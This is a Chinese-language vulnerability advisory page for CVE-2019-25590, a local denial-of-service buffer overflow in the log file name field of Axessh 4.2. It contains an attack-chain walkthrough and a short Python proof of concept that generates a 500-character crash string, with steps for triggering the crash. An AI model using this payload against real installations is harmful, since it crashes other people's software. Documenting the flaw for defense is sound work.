IPBUF安全漏洞报告
English
CVE-2019-25590 CVSS 6.2 中危

CVE-2019-25590 Axessh拒绝服务漏洞

披露日期: 2026-03-22

漏洞信息

漏洞编号
CVE-2019-25590
漏洞类型
拒绝服务
CVSS评分
6.2 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Axessh

相关标签

拒绝服务缓冲区溢出Axessh本地攻击DoS

漏洞概述

Axessh 4.2版本中存在一个拒绝服务漏洞。该漏洞源于日志配置模块未正确处理用户输入。本地攻击者可以通过在日志文件名字段中输入超长字符串(超过500个字符)来触发此漏洞。当攻击者启用会话日志记录并尝试建立Telnet连接时,应用程序将发生崩溃。

技术细节

该漏洞属于典型的基于栈的缓冲区溢出漏洞,存在于Axessh 4.2的日志配置功能中。由于软件未对日志文件名输入参数的长度进行有效校验,攻击者可以注入超长数据。利用该漏洞不需要任何权限或用户交互。攻击步骤如下:首先,本地攻击者打开Axessh并启用会话日志记录功能;其次,将一个长度为500或更多字符的缓冲区字符串粘贴到日志文件名的输入字段中;最后,当用户尝试建立Telnet连接时,程序尝试处理该文件名,导致缓冲区溢出,覆盖关键内存区域,进而导致应用程序崩溃。

攻击链分析

STEP 1
步骤1:本地访问
攻击者获得对运行Axessh 4.2的系统的本地访问权限。
STEP 2
步骤2:配置日志
攻击者打开Axessh应用程序,进入设置并启用会话日志记录功能。
STEP 3
步骤3:注入缓冲区
攻击者构造一个包含500个或更多字符的长字符串,并将其粘贴到日志文件名的输入框中。
STEP 4
步骤4:触发漏洞
攻击者尝试建立Telnet连接。当应用程序尝试处理日志文件名时,触发缓冲区溢出,导致应用程序崩溃。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2019-25590 # This script generates the payload to crash Axessh 4.2 import sys def generate_poc(): # The vulnerability is triggered by a buffer of 500 or more characters # in the log file name field. buffer_size = 500 payload = "A" * buffer_size return payload if __name__ == "__main__": print("[+] Generating PoC payload for CVE-2019-25590...") payload = generate_poc() print(f"[+] Payload length: {len(payload)}") print("[+] Payload content (first 100 chars):", payload[:100]) print("\n[+] Instructions:") print("1. Open Axessh 4.2") print("2. Go to logging configuration and enable session logging") print("3. Paste the generated payload into the 'Log File Name' field") print("4. Establish a Telnet connection to trigger the crash")

影响范围

Axessh 4.2

防御指南

临时缓解措施
建议暂时禁用Axessh的会话日志记录功能,以防止通过日志文件名字段触发缓冲区溢出。此外,用户应避免从不可信来源复制粘贴长字符串到软件配置字段中。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表